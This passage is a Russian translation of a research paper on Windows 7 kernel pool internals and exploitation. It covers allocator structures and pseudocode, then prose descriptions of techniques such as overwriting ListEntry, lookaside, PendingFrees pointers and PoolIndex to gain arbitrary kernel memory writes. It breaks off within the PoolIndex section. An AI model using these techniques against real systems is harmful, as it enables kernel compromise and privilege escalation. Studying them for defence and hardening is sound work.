Цель злоумышленника в использовании уязвимостей повреждения пула - в конечном итоге выполнить произвольный код в нулевом кольце. Это часто начинается с произвольной записи в память или n-байтового повреждения в выбранном месте. В этой статье мы показываем, что, несмотря на введенные меры безопасности, пул ядер в Windows 7 по-прежнему подвержен атакам. В свою очередь, эти атаки могут позволить злоумышленнику полностью скомпрометировать ядро операционной системы. Мы также показываем, что safe unlinking, предназначенное для устранения атак write-4, может при определенных условиях не достичь поставленных целей и позволить злоумышленнику повредить произвольную память. Чтобы предотвратить представленные атаки, мы окончательно предлагаем способы дальнейшего усиления и повышения безопасности пула ядер.
Оставшаяся часть статьи организована следующим образом. В Разделе 2 мы подробно рассмотрим внутреннюю структуру и изменения, внесенные в ядро Windows 7 (и Vista). В разделах 3 и 4 мы обсуждаем и демонстрируем практические атаки на пул ядра, влияющие на Windows 7. В Разделе 5 мы обсуждаем контрмеры и предлагаем способы усиления защиты пула ядра. Наконец, в разделе 6 мы приводим заключение статьи.
2. Внутреннее устройство пула ядра
В этом разделе мы подробно рассмотрим структуры управления пулом ядра и алгоритмы, участвующие в распределении и освобождении памяти пула. Понимание поведения пула ядра имеет жизненно важное значение для правильной оценки его безопасности и надежности. Для краткости мы предполагаем архитектуру x86 (32-битную). Однако большинство структур применимо к AMD64/x64 (64-бит). Заметные различия в пуле ядер между архитектурами x86 и x64 обсуждаются в Разделе 2.9.
2.1. Неоднородная архитектура памяти
Для каждой новой версии Windows диспетчер памяти улучшается, чтобы лучше поддерживать неоднородную архитектуру памяти (NUMA), архитектуру проектирования памяти, используемую в современных многопроцессорных системах. NUMA выделяет разные банки памяти для разных процессоров, позволяя обращаться к локальной памяти быстрее, а к удаленной памяти — медленнее. Процессоры и память сгруппированы вместе в более мелкие блоки, называемые узлами, которые определяются структурой KNODE в исполнительном ядре.
C:Copy to clipboard
typedef struct _KNODE
{
/*0x000*/ union _SLIST_HEADER PagedPoolSListHead;
/*0x008*/ union _SLIST_HEADER NonPagedPoolSListHead[3];
/*0x020*/ struct _GROUP_AFFINITY Affinity;
/*0x02C*/ ULONG32 ProximityId;
/*0x030*/ UINT16 NodeNumber;
/*0x032*/ UINT16 PrimaryNodeNumber;
/*0x034*/ UINT8 MaximumProcessors;
/*0x035*/ UINT8 Color;
/*0x036*/ struct _flags Flags;
/*0x037*/ UINT8 NodePad0;
/*0x038*/ ULONG32 Seed;
/*0x03C*/ ULONG32 MmShiftedColor;
/*0x040*/ ULONG32 FreeCount[2];
/*0x048*/ struct _CACHED_KSTACK_LIST CachedKernelStacks;
/*0x060*/ LONG32 ParkLock;
/*0x064*/ ULONG32 NodePad1;
/*0x068*/ UINT8 _PADDING0_[0x18];
} KNODE, *PKNODE;
В многоузловых системах (nt!KeNumberNodes > 1) диспетчер памяти всегда будет пытаться выделить из идеального узла. Таким образом, KNODE предоставляет информацию о том, где находится локальная память в цветовом поле. Это значение представляет собой индекс массива, используемый алгоритмами распределения и освобождения для связывания узлов с его предпочтительным пулом. Кроме того, KNODE определяет четыре односвязных альтернативных списка для каждого узла для свободных страниц пула (обсуждается в Разделе 2.6).
2.2. Пулы системной памяти
При инициализации системы диспетчер памяти создает пулы памяти динамического размера в соответствии с количеством системных узлов. Каждый пул определяется дескриптором пула (обсуждается в разделе 2.3), структурой управления, которая отслеживает использование пула и определяет свойства пула, такие как тип памяти. Есть два различных типа пула памяти: выгружаемая и невыгружаемая.
Память выгружаемого пула может быть выделена и доступна из любого контекста процесса, но только на уровне IRQL < DPC / dispatch. Количество используемых выгружаемых пулов задается параметром nt!ExpNumberOfPagedPools. В однопроцессорных системах определены четыре (4) дескриптора выгружаемого пула, которые обозначены индексами с 1 по 4 в массиве nt!ExpPagedPoolDescriptor. В многопроцессорных системах для каждого узла определяется один (1) дескриптор выгружаемого пула. В обоих случаях дополнительный дескриптор выгружаемого пула определяется для пулов прототипов/полных распределений страниц, что обозначается индексом 0 в nt!ExpPagedPoolDescriptor. Следовательно, в большинстве настольных систем определены пять (5) дескрипторов выгружаемого пула.
Память невыгружаемого пула гарантированно постоянно находится в физической памяти. Это требуется потокам, выполняющимся на уровне IRQL> = DPC / dispatch (например, обработчикам прерываний), поскольку ошибки страниц не могут быть устранены вовремя. Число невыгружаемых пулов, используемых в настоящее время, задается параметром nt!ExpNumberOfNonPagedPools.
В однопроцессорных системах первый индекс массива nt!PoolVector указывает на дескриптор невыгружаемого пула. В многопроцессорных системах каждый узел имеет свой собственный дескриптор невыгружаемого пула, индексированный массивом nt!ExpNonPagedPoolDescriptor.
Кроме того, память пула сеансов (используемая win32k) используется для выделения пространства сеанса и уникальна для каждого сеанса пользователя. В то время как невыгружаемая память сеанса использует дескриптор(ы) глобального невыгружаемого пула, память выгружаемого пула сеанса имеет свой собственный дескриптор пула, определенный в nt!MM SESSION SPACE. Чтобы получить дескриптор пула сеансов, Windows 7 анализирует связанную структуру nt!EPROCESS (текущего выполняемого потока) на наличие структуры пространства сеанса, а затем находит встроенный дескриптор выгружаемого пула.
2.3. Дескриптор пула
Подобно куче пользовательского режима, каждому пулу ядра требуется структура управления. Дескриптор пула отвечает за отслеживание количества выполняемых выделений, используемых страниц и другой информации об использовании пула. Это также помогает системе отслеживать повторно используемые фрагменты пула. Дескриптор пула определяется следующей структурой (nt!POOL DESCRIPTOR).
C:Copy to clipboard
typedef struct _POOL_DESCRIPTOR
{
/*0x000*/ enum _POOL_TYPE PoolType;
union {
/*0x004*/ struct _KGUARDED_MUTEX PagedLock;
/*0x004*/ ULONG32 NonPagedLock;
};
/*0x040*/ LONG32 RunningAllocs;
/*0x044*/ LONG32 RunningDeAllocs;
/*0x048*/ LONG32 TotalBigPages;
/*0x04C*/ LONG32 ThreadsProcessingDeferrals;
/*0x050*/ ULONG32 TotalBytes;
/*0x054*/ UINT8 _PADDING0_[0x2C];
/*0x080*/ ULONG32 PoolIndex;
/*0x084*/ UINT8 _PADDING1_[0x3C];
/*0x0C0*/ LONG32 TotalPages;
/*0x0C4*/ UINT8 _PADDING2_[0x3C];
/*0x100*/ VOID** PendingFrees;
/*0x104*/ LONG32 PendingFreeDepth;
/*0x108*/ UINT8 _PADDING3_[0x38];
/*0x140*/ struct _LIST_ENTRY ListHeads[512];
} POOL_DESCRIPTOR, *PPOOL_DESCRIPTOR;
Дескриптор пула содержит несколько важных списков, используемых диспетчером памяти. Список отложенного освобождения, на который указывает PendingFrees, представляет собой односвязный список фрагментов пула, ожидающих освобождения. Это подробно объясняется в разделе 2.8. ListHeads - это массив двусвязных списков свободных фрагментов пула одинакового размера. В отличие от списка отложенного освобождения фрагменты в списках ListHeads были освобождены и могут быть выделены диспетчером памяти в любое время. Мы обсудим ListHeads в следующем разделе.
2.4. Списки ListHeads (свободные списки)
Списки ListHeads или свободные списки упорядочены по размеру с 8-байтовой гранулярностью и используются для выделения до 4080 байт. Свободные фрагменты индексируются в массиве ListHeads по размеру блока, вычисляемому как запрошенное количество байтов, округленное до кратного 8 и деленное на 8, или BlockSize = (NumberOfBytes + 0xF) >> 3. Округление выполняется, чтобы зарезервировать место для заголовка пула, структуры, предшествующей всем фрагментам пула. Заголовок пула в x86 Windows определяется следующим образом.
C:Copy to clipboard
typedef struct _POOL_HEADER
{
union {
struct {
/*0x000*/ UINT16 PreviousSize : 9;
/*0x000*/ UINT16 PoolIndex : 7;
/*0x002*/ UINT16 BlockSize : 9;
/*0x002*/ UINT16 PoolType : 7;
};
/*0x000*/ ULONG32 Ulong1;
};
union {
/*0x004*/ ULONG32 PoolTag;
struct {
/*0x004*/ UINT16 AllocatorBackTraceIndex;
/*0x006*/ UINT16 PoolTagHash;
};
};
} POOL_HEADER, *PPOOL_HEADER;
Заголовок пула содержит информацию, необходимую для правильной работы алгоритмов распределения и освобождения. PreviousSize указывает размер блока предыдущего фрагмента пула. Поскольку диспетчер памяти всегда пытается уменьшить фрагментацию путем объединения граничных свободных фрагментов он обычно используется для определения местоположения заголовка пула предыдущего фрагмента. PreviousSize также может быть нулевым, и в этом случае фрагмент пула расположен в начале страницы пула.
PoolIndex предоставляет индекс в связанный массив дескрипторов пула, например nt!ExpPagedPoolDescriptor. Он используется свободным алгоритмом, чтобы убедиться, что фрагмент пула освобожден для правильного дескриптора пула ListHeads. В Разделе 3.4 мы показываем, как злоумышленник может повредить это значение, чтобы расширить повреждение заголовка пула (например, переполнение пула) до произвольного повреждения памяти.
Как следует из названия, PoolType определяет тип пула чанка. Однако он также указывает, занят или свободен блок. Если кусок свободен, PoolType устанавливается равным нулю. С другой стороны, если блок занят, PoolType устанавливается равным типу пула его дескриптора (значение в перечислении POOL TYPE, показанное ниже) ИЛИ с битовой маской используемого пула. Для этой битовой маски установлено значение 2 в Vista и более поздних версиях, а в XP/2003 - 4. Например для загруженного фрагмента выгружаемого пула в Vista и Windows 7 PoolType = PagedPool | 2 = 3.
C:Copy to clipboard
typedef enum _POOL_TYPE
{
NonPagedPool = 0 /*0x0*/,
PagedPool = 1 /*0x1*/,
NonPagedPoolMustSucceed = 2 /*0x2*/,
DontUseThisType = 3 /*0x3*/,
NonPagedPoolCacheAligned = 4 /*0x4*/,
PagedPoolCacheAligned = 5 /*0x5*/,
NonPagedPoolCacheAlignedMustS = 6 /*0x6*/,
MaxPoolType = 7 /*0x7*/,
NonPagedPoolSession = 32 /*0x20*/,
PagedPoolSession = 33 /*0x21*/,
NonPagedPoolMustSucceedSession = 34 /*0x22*/,
DontUseThisTypeSession = 35 /*0x23*/,
NonPagedPoolCacheAlignedSession = 36 /*0x24*/,
PagedPoolCacheAlignedSession = 37 /*0x25*/,
NonPagedPoolCacheAlignedMustSSession = 38 /*0x26*/
} POOL_TYPE, *PPOOL_TYPE;
Если фрагмент пула свободен и находится в списке ListHeads, за его заголовком сразу следует структура LIST ENTRY. По этой причине куски одного размера блока (8 байтов) не поддерживаются ListHeads, поскольку они достаточно невелики , чтобы хранить структуру.
C:Copy to clipboard
typedef struct _LIST_ENTRY
{
/*0x000*/ struct _LIST_ENTRY* Flink;
/*0x004*/ struct _LIST_ENTRY* Blink;
} LIST_ENTRY, *PLIST_ENTRY;
Структура LIST ENTRY используется для объединения фрагментов пула в двусвязных списках. Исторически он был целью использования уязвимостей, связанных с повреждением памяти как в куче пользовательского режима [5], так и в пуле ядра [8] [16], в первую очередь из-за хорошо известных методов эксплуатации write-4.
2.5. Списки Lookaside
Ядро использует односвязные альтернативные списки (LIFO) для более быстрого выделения и освобождения небольших фрагментов пула. Они предназначены для работы в коде с высокой степенью параллелизма и использования атомарных инструкций сравнения и обмена при добавлении и удалении записей. Чтобы лучше использовать кэширование ЦП, lookaside списки определяются для каждого процессора в блоке управления процессором (KPRCB). Структура KPRCB содержит резервные списки как для страничного (PPPagedLookasideList), так и для невыгружаемые (PPNPagedLookasideList) выделения, а также специальные специальные списки дополнительных (PPLookasideList) для часто запрашиваемых фиксированных распределений (например, для пакетов запросов ввода-вывода и списков дескрипторов памяти).
C:Copy to clipboard
typedef struct _KPRCB
{
...
/*0x5A0*/ struct _PP_LOOKASIDE_LIST PPLookasideList[16];
/*0x620*/ struct _GENERAL_LOOKASIDE_POOL PPNPagedLookasideList[32];
/*0xF20*/ struct _GENERAL_LOOKASIDE_POOL PPPagedLookasideList[32];
...
} KPRCB, *PKPRCB;
Для страничных и невыгружаемых списков максимальный размер блока составляет 0x20. Следовательно, существует 32 уникальных lookaside списка для каждого типа. Каждый альтернативный список определяется структурой GENERAL LOOKASIDE POO, показанной ниже.
C:Copy to clipboard
typedef struct _GENERAL_LOOKASIDE_POOL
{
union
{
/*0x000*/ union _SLIST_HEADER ListHead;
/*0x000*/ struct _SINGLE_LIST_ENTRY SingleListHead;
};
/*0x008*/ UINT16 Depth;
/*0x00A*/ UINT16 MaximumDepth;
/*0x00C*/ ULONG32 TotalAllocates;
union
{
/*0x010*/ ULONG32 AllocateMisses;
/*0x010*/ ULONG32 AllocateHits;
};
/*0x014*/ ULONG32 TotalFrees;
union
{
/*0x018*/ ULONG32 FreeMisses;
/*0x018*/ ULONG32 FreeHits;
};
/*0x01C*/ enum _POOL_TYPE Type;
/*0x020*/ ULONG32 Tag;
/*0x024*/ ULONG32 Size;
union
{
/*0x028*/ PVOID AllocateEx;
/*0x028*/ PVOID Allocate;
};
union
/*0x02C*/ PVOID FreeEx;
/*0x02C*/ PVOID Free;
};
/*0x030*/ struct _LIST_ENTRY ListEntry;
/*0x038*/ ULONG32 LastTotalAllocates;
union
{
/*0x03C*/ ULONG32 LastAllocateMisses;
/*0x03C*/ ULONG32 LastAllocateHits;
};
/*0x040*/ ULONG32 Future[2];
} GENERAL_LOOKASIDE_POOL, *PGENERAL_LOOKASIDE_POOL;
В этой структуре SingleListHead.Next указывает на первый свободный фрагмент пула в односвязном lookaside списке. Размер lookaside списка ограничен значением глубины, которое периодически корректируется менеджером набора балансов в соответствии с количеством совпадений и промахов в lookaside списке. Следовательно, часто используемый lookaside список будет иметь большее значение глубины, чем редко используемый список. Начальная глубина равна 4 (nt!ExMinimumLookasideDepth), максимальная - MaximumDepth (256). Если lookaside список заполнен, фрагмент пула освобождается в соответствующий список ListHeads.
Lookaside списки также определены для пула сеансов. Выделяемые пулы сеансов с разбивкой по страницам используют отдельные альтернативные списки (nt! ExpSessionPoolLookaside), определенные в пространстве сеанса. Максимальный размер блока для вспомогательных списков на сеанс составляет 0x19, как установлено параметром nt! ExpSessionPoolSmallLists. Lookaside списки пула сеансов используют структуру GENERAL LOOKASIDE, идентичную GENERAL LOOKASIDE POOL, но с дополнительным заполнением. Для выделения невыгружаемого пула сеансов используются ранее обсуждавшиеся невыгружаемые lookaside списки для каждого процессора.
Lookaside списки для фрагментов пула отключены, если установлен флаг разделения горячих/ холодных страниц (nt! ExpPoolFlags & 0x100). Флаг устанавливается во время загрузки системы, чтобы увеличить скорость и уменьшить объем памяти. Таймер (установлен в nt!ExpBootFinishedTimer) отключает разделение горячих/ холодных страниц через 2 минуты после загрузки.
2.6. Распределение большого пула
Дескриптор пула ListHeads поддерживает фрагменты меньше страницы. Выделение пула размером более 4080 байт (требуется страница или больше) обрабатывается nt!ExpAllocateBigPool. В свою очередь, эта функция вызывает nt!MiAllocatePoolPages, распределитель страниц пула, который округляет запрошенный размер до ближайшего размера страницы. Фрагмент блока размером 1 и предыдущим размером 0 помещается сразу после выделения большого пула, так что распределитель пула может использовать оставшийся фрагмент страницы. Затем лишние байты возвращаются в конец соответствующего списка дескрипторов пула ListHeads.
Вспомните из Раздела 2.1, что с каждым узлом (определенным KNODE) связано 4 односвязных списка альтернативных ссылок. Эти списки используются распределителем страниц пула для быстрого обслуживания запросов на небольшое количество страниц.Для выгружаемой памяти KNODE определяет один резервный список (PagedPoolSListHead) для выделения отдельных страниц. Для невыгружаемых выделений определены альтернативные списки (NonPagedPoolSListHead [3]) для количества страниц 1, 2 и 3. Размер резервных списков страниц пула определяется количеством физических страниц, присутствующих в системе.
Если lookaside списки использовать нельзя, для получения запрошенных страниц пула используется битовая карта распределения. Битовая карта (определенная в RTL BITMAP) представляет собой массив битов, который указывает, какие страницы памяти используются, и создается для каждого основного типа пула. Ищется первый индекс, содержащий запрошенное количество неиспользуемых страниц. Для выгружаемого пула битовая карта определяется в структуре MM PAGED POOL INFO, на которую указывает nt! MmPagedPoolInfo. Для невыгружаемого пула на битовую карту указывает nt!MiNonPagedPoolBitMap. Для пула сеансов битовая карта определяется в структуре MM SESSION SPACE.
Для большинства больших распределений пула nt!ExAllocatePoolWithTag запросит дополнительные 4 байта (8 на x64) для хранения размера выделения в конце тела пула. Это значение впоследствии проверяется при освобождении выделения (в ExFreePoolWithTag) для выявления возможных переполнений пула.
2.7 Алгоритм распределения
Для выделения памяти пула модули ядра и сторонние драйверы вызывают ExAllocatePoolWithTag (или любую из его функций-оберток), экспортируемую исполнительным ядром. Эта функция сначала попытается использовать lookaside списки, а затем списки ListHeads, и, если не удалось вернуть фрагмент пула, запросит страницу у распределителя страниц пула. Следующий псевдокод в общих чертах описывает его реализацию.
C:Copy to clipboard
PVOID
ExAllocatePoolWithTag( POOL_TYPE PoolType,
SIZE_T NumberOfBytes,
ULONG Tag)
// call pool page allocator if size is above 4080 bytes
if (NumberOfBytes > 0xff0) {
// call nt!ExpAllocateBigPool
}
// attempt to use lookaside lists
if (PoolType & PagedPool) {
if (PoolType & SessionPool && BlockSize <= 0x19) {
// try the session paged lookaside list
// return on success
}
else if (BlockSize <= 0x20) {
// try the per-processor paged lookaside list
}
// lock paged pool descriptor (round robin or local node)
}
else { // NonPagedPool
if (BlockSize <= 0x20) {
// try the per-processor non-paged lookaside list
// return on success
}
// lock non-paged pool descriptor (local node)
}
// attempt to use listheads lists
for (n = BlockSize-1; n < 512; n++) {
if (ListHeads[n].Flink == &ListHeads[n]) { // empty
continue; // try next block size
}
// safe unlink ListHeads[n].Flink
// split if larger than needed
// return chunk
}
// no chunk found, call nt!MiAllocatePoolPages
// split page and return chunk
Если из списка ListHeads[n] возвращается блок, превышающий запрошенный размер, блок разделяется. Чтобы уменьшить фрагментацию, часть слишком большого фрагмента, возвращаемого распределителем, зависит от его относительной позиции на странице. Если фрагмент выровнен по странице, запрошенный размер выделяется с начала фрагмента. Если блок не выровнен по странице, запрошенный размер выделяется с обратной стороны блока. В любом случае оставшийся (неиспользованный) фрагмент разбитого блока помещается в конец соответствующего списка ListHeads.
2.8. Алгоритм освобождения
Алгоритм освобождения, реализованный ExFreePoolWithTag, проверяет заголовок пула блока, который нужно освободить, и помещает его в соответствующий список. Чтобы уменьшить фрагментацию, он также пытается объединить смежные свободные фрагменты. Следующий псевдокод показывает, как работает алгоритм.
C:Copy to clipboard
VOID
ExFreePoolWithTag( PVOID Entry,
ULONG Tag)
if (PAGE_ALIGNED(Entry)) {
// call nt!MiFreePoolPages
// return on success
}
if (Entry->BlockSize != NextEntry->PreviousSize)
BugCheckEx(BAD_POOL_HEADER);
if (Entry->PoolType & SessionPagedPool && Entry->BlockSize <= 0x19) {
// put in session pool lookaside list
// return on success
}
else if (Entry->BlockSize <= 0x20) {
if (Entry->PoolType & PagedPool) {
// put in per-processor paged lookaside list
// return on success
}
else { // NonPagedPool
// put in per-processor non-paged lookaside list
// return on success
}
}
if (ExpPoolFlags & DELAY_FREE) { // 0x200
if (PendingFreeDepth >= 0x20) {
// call nt!ExDeferredFreePool
}
// add Entry to PendingFrees list
}
else {
if (IS_FREE(NextEntry) && !PAGE_ALIGNED(NextEntry)) {
// safe unlink next entry
// merge next with current chunk
}
if (IS_FREE(PreviousEntry)) {
// safe unlink previous entry
// merge previous with current chunk
}
if (IS_FULL_PAGE(Entry))
// call nt!MiFreePoolPages
else {
// insert Entry to ListHeads[BlockSize - 1]
}
}
Флаг пула DELAY FREE (nt!ExpPoolFlags & 0x200) обеспечивает оптимизацию производительности, которая освобождает несколько выделений пула одновременно, чтобы амортизировать получение и освобождение пула. Этот механизм был кратко упомянут в [11] и включен в Windows XP SP2 или выше, если количество доступных физических страниц (nt!MmNumberOfPhysicalPages) больше или равно 0x1fc00. При использовании каждый новый вызов ExFreePoolWithTag добавляет фрагмент, который нужно освободить, в список PendingFrees, специфичный для каждого дескриптора пула. Если список содержит 32 или более фрагментов (определяется PendingFreeDepth), он обрабатывается при вызове ExDeferredFreePool. Эта функция выполняет итерацию по каждой записи и освобождает ее до соответствующего списка ListHeads, как показано в следующем псевдокоде
C:Copy to clipboard
VOID
ExDeferredFreePool( PPOOL_DESCRIPTOR PoolDesc,
BOOLEAN bMultipleThreads)
for each (Entry in PendingFrees) {
if (IS_FREE(NextEntry) && !PAGE_ALIGNED(NextEntry)) {
// safe unlink next entry
// merge next with current chunk
}
if (IS_FREE(PreviousEntry)) {
// safe unlink previous entry
// merge previous with current chunk
}
if (IS_FULL_PAGE(Entry))
// add to full page list
else {
// insert Entry to ListHeads[BlockSize - 1]
}
}
for each (page in full page list) {
// call nt!MiFreePoolPages
}
Свободные для lookaside и дескриптора пула ListHeads всегда помещается в начало соответствующего списка. Исключением из этого правила являются оставшиеся фрагменты разделенных блоков, которые помещаются в конец списка. Блоки разделяются, когда диспетчер памяти возвращает фрагменты, размер которых превышает запрошенный (как объяснено в разделе 2.7), например, полные страницы, разделенные в ExpBigPoolAllocation, и записи ListHeads, разделенные в ExAllocatePoolWithTag. Чтобы использовать кэш ЦП как можно чаще, выделения всегда делаются из самых последних использованных фрагментов, начиная с начала соответствующего списка.
2.9. Изменения пула ядра AMD64/x64
Несмотря на поддержку большего физического адресного пространства, 64-разрядная Windows не вносит существенных изменений в пул ядра. Однако, чтобы приспособиться к изменению ширины указателя, степень детализации размера блока увеличена до 16 байтов, вычисляемая как BlockSize = (NumberOfBytes + 0x1F) >> 4. Чтобы отразить это изменение, заголовок пула обновляется соответствующим образом.
C:Copy to clipboard
typedef struct _POOL_HEADER
{
union
{
struct
{
/*0x000*/ ULONG32 PreviousSize : 8;
/*0x000*/ ULONG32 PoolIndex : 8;
/*0x000*/ ULONG32 BlockSize : 8;
/*0x000*/ ULONG32 PoolType : 8;
};
/*0x000*/ ULONG32 Ulong1;
};
/*0x004*/ ULONG32 PoolTag;
union
{
/*0x008*/ struct _EPROCESS* ProcessBilled;
struct
{
/*0x008*/ UINT16 AllocatorBackTraceIndex;
/*0x00A*/ UINT16 PoolTagHash;
/*0x00C*/ UINT8 _PADDING0_[0x4];
};
};
} POOL_HEADER, *PPOOL_HEADER;
Из-за изменения гранулярности размера блока значения PreviousSize и BlockSize уменьшаются до восьми бит. Таким образом, дескриптор пула ListHeads содержит 256 двусвязных списков, а не 512, как на x86. Это также позволяет назначить дополнительный бит для PoolIndex, следовательно, 256 узлов (дескрипторы пула) могут поддерживаться на x64, более 128 на x86. Кроме того, заголовок пула расширен до 16 байтов и включает указатель ProcessBilled, используемый в управлении квотами. для определения процесса, взимаемого за выделение. На x86 этот указатель хранится в последних четырех байтах тела пула. Мы обсуждаем атаки с использованием указателя процесса квоты в разделе 3.5.
3. Атаки на пул ядра
В этом разделе мы обсудим несколько практических атак на пул ядер Windows 7. Во-первых, в разделе 3.1 мы показываем атаку на структуру LIST ENTRY при (не) безопасном разыменовании блоков пула ListHeads. В разделах 3.2 и 3.3 мы покажем атаки на односвязные списки и отложенные свободные списки соответственно. В разделе 3.4 мы представляем атаку на заголовок пула освобождаемых выделенных фрагментов, и, наконец, в разделе 3.5 мы покажем атаку на выделение пула с начислением квот.
3.1. Перезапись ListEntry Flink
Чтобы предотвратить обычную эксплуатацию переполнений пула ядра, Windows 7 выполняет безопасное отключение для проверки указателей LIST ENTRY блоков пула в списках ListHeads. Однако при выделении фрагмента пула из ListHeads [n] (для данного размера блока) алгоритм проверяет структуру LIST ENTRY для ListHeads[n], а не структуру фактического фрагмента, который не связывается. Следовательно, перезапись прямой ссылки в свободном фрагменте может привести к тому, что адрес ListHeads [n] для записи на адрес, контролируется злоумышленником (рисунок 1).
Эта атака требует, чтобы в целевом списке ListHeads[n] присутствовали как
минимум два свободных фрагмента. В противном случае ListHeads[n] .Blink
проверит прямую ссылку unlinked фрагмента. В примере 1 прямая ссылка фрагмента
пула в списке ListHeads была повреждена адресом, выбранным злоумышленником. В
свою очередь, когда этот фрагмент выделяется в ExAllocatePoolWithTag, алгоритм
пытается записать адрес ListHeads[n] (esi) по обратной ссылке структуры LIST
ENTRY по адресу, контролируемому злоумышленником (eax).
Хотя значение esi не может быть легко определено из контекста
пользовательского режима, иногда можно вывести его значение. Например, если
определен только один невыгружаемый пул (как обсуждается в 2.2), esi будет
указывать на фиксированное местоположение (nt! NonPagedPoolDescriptor) в
сегменте данных ntoskrnl. Если дескриптор пула был выделен из памяти,
предположение о его местонахождении можно сделать из определенного диапазона
памяти пула. Таким образом, злоумышленник может перезаписать важные глобальные
переменные [14] или указатели объектов ядра [6] (например, посредством
частичной перезаписи указателя), чтобы добиться выполнения произвольного кода.
Злоумышленник также может расширить произвольную запись до полностью контролируемого распределения ядра, используя указатель пользовательского режима в перезаписи. Это следует из того факта, что ListHeads[n].Flink обновляется и указывает на следующий свободный фрагмент ( указатель, управляемый атакующим) после отключения поврежденного фрагмента. Поскольку обратная ссылка на адрес, предоставленный злоумышленником, была обновлена, чтобы указывать на ListHeads[n], у распределителя пула нет проблем с безопасным отключением указателя пользовательского режима от свободных списков.
3.2. Перезапись Lookaside Next Pointer
Lookaside списки разработаны так, чтобы быть быстрыми и легкими, поэтому в них не используется такая же проверка согласованности, как в двусвязных списках ListHeads. Будучи одинарной связью, каждая запись в дополнительном списке содержит указатель на следующую запись. Поскольку нет никаких проверок, подтверждающих действительность этих указателей, злоумышленник может, используя уязвимость повреждения пула, принудить распределитель пула вернуть произвольный адрес при получении следующего свободного lookaside фрагмента. В свою очередь, это может позволить злоумышленнику повредить произвольную память ядра.
Как обсуждалось в разделе 2.5, диспетчер памяти использует lookaside списки
как для блоков пула, так и для страниц пула. Для lookaside фрагментов пула
указатель Next следует непосредственно за 8-байтовым заголовком пула (POOL
HEADER). Таким образом, для перезаписи указателя Next требуется не более 12
байтов на x86. Чтобы фрагмент пула был освобожден для lookaside списка, должно
выполняться следующее:
- Размер блока <= 0x20 для (выгружаемых/невыгружаемых) блоков пула
- BlockSize <= 0x19 для фрагментов выгружаемого пула сеансов
- Lookaside список для целевого BlockSize не полон
- Разделение горячих/холодных страниц не используется (ExpPoolFlags & 0x100)Click to expand...
Для того, чтобы преобразовать lookaside Next указатель Next в n-байтовую произвольную перезапись памяти, необходимо выделить размер целевого блока до тех пор, пока не будет возвращен поврежденный указатель (рисунок 2). Кроме того, содержимое выделенного фрагмента необходимо до некоторой степени контролировать, чтобы повлиять на данные, используемые для перезаписи. Для выделения выгружаемого пула собственные API-интерфейсы, которые выделяют строки Unicode, такие как NtCreateSymbolicLinkObject, предоставляют удобный способ заполнения блока любого размера практически любой комбинацией байтов. Такие API-интерфейсы также можно использовать для дефрагментации и управления компоновкой памяти пула для управления эксплуатируемыми примитивами, такими как неинициализированные указатели и двойные освобождения.
В отличие от фрагментов lookaside пула, на страницах lookaside пула (рисунок
3) указатель Next хранится с нулевым значением, так как с ними не связаны
заголовки пула. Выделенная страница пула освобождается для lookaside списка,
если выполняется следующее:
- NumberOfPages = 1 для страниц выгружаемого пула
- NumberOfPages <= 3 для страниц невыгружаемого пула
- Дополнительный список для количества целевых страниц не полон
Страницы пула возвращаются nt!MiAllocatePoolPages всякий раз, когда диспетчер памяти должен запросить дополнительную память пула, недоступную из ListHeads или резервных списков. Поскольку это обычно выполняется многими параллельными системными потоками, очевидно, что легче сказать, чем сделать, манипулировать макетом пула ядра, чтобы разместить переполнение рядом со страницей свободного пула в дополнительном списке. С другой стороны, при работе с фрагментами lookaside пула можно использовать редко запрашиваемые значения размера блока, чтобы получить более детальный контроль над структурой памяти. Это можно сделать, изучив значение TotalAllocates в дополнительных структурах управления.
3.3 Перезапись PendingFrees Next Pointer
Вспомните из Раздела 2.8, что записи пула, ожидающие освобождения, хранятся в односвязных списках PendingFrees. Поскольку при обходе этих списков проверки не выполняются, злоумышленник может воспользоваться уязвимостью, связанной с повреждением пула, чтобы повредить указатель Next записи списка PendingFrees. В свою очередь, это позволит злоумышленнику освободить произвольный адрес для выбранного списка дескрипторов пула ListHeads и, возможно, управлять памятью для последующего выделения пула (рисунок 4).
Одно примечательное предостережение при атаке на отложенне свободные списки
состоит в том, что пул ядра обрабатывает этот список очень часто. Фактически,
сотни потоков могут быть запланированы для одного и того же пула ядра, а также
могут обрабатываться параллельно на многоядерных машинах. Таким образом,
весьма вероятно, что фрагмент, на который нацелен переполнение пула, уже был
удален из отложенных свободных списков и помещен в список ListHeads. По этой
причине мы вряд ли можем считать данную атаку практической. Однако, поскольку
некоторые дескрипторы пула используются реже, чем другие (например, дескриптор
пула сеансов), в определенных ситуациях возможны атаки на отложенные свободные
списки.
3.4 Перезапись PoolIndex
Если для данного типа пула определено более одного дескриптора пула, PoolIndex блока пула обозначает индекс в связанном массиве дескрипторов пула. Следовательно, при работе с записями ListHeads фрагмент пула всегда освобождается в соответствующий дескриптор пула. Однако из-за недостаточной проверки неверно сформированный индекс PoolIndex может вызвать разыменование массива вне границ и впоследствии позволить злоумышленнику перезаписать произвольную память ядра.
Для выгружаемых пулов PoolIndex всегда обозначает индекс в массиве дескрипторов выгружаемого пула (nt! ExpPagedPoolDescriptor). В проверенных сборках значение индекса проверяется при сравнении с nt!ExpNumberOfPagedPools, чтобы предотвратить любой доступ к массиву за пределы. Однако в чистых (retail) сборках индекс не проверяется. Для невыгружаемых пулов PoolIndex обозначает индекс в nt!ExpNonPagedPoolDescriptor, только если в системе с поддержкой NUMA присутствует несколько узлов. Опять же, в чистых сборках PoolIndex не проверяется.
Неправильно сформированный PoolIndex (требующий только 2-байтового переполнения пула) может привести к тому, что выделенный фрагмент пула будет освобожден для дескриптора пула с нулевым указателем (рисунок 5). Сопоставляя виртуальную нулевую страницу, злоумышленник может полностью контролировать дескриптор пула и его записи ListHeads. В свою очередь, это может позволить злоумышленнику записать адрес блока пула на произвольный адрес при подключении к списку. Это связано с тем, что Blink фрагмента, находящегося в данный момент впереди, обновляется адресом освобожденного фрагмента, например ListHeads[n].Flink-> Blink = FreedChunk. Следует отметить, что, поскольку освобожденный фрагмент не возвращается ни в какой реальный дескриптор пула, нет необходимости очищать (удалять устаревшие записи и так далее) пул ядра.
Если включена функция отложенного освобождения пула (как описано в разделе 2.8), аналогичный эффект может быть достигнут путем создания поддельного списка PendingFrees (рисунок 6). В этом случае первая запись в списке будет указывать на адрес, контролируемый злоумышленником. Кроме того, значение PendingFreeDepth в дескрипторе пула будет больше или равно 0x20, чтобы запустить обработку списка PendingFrees.
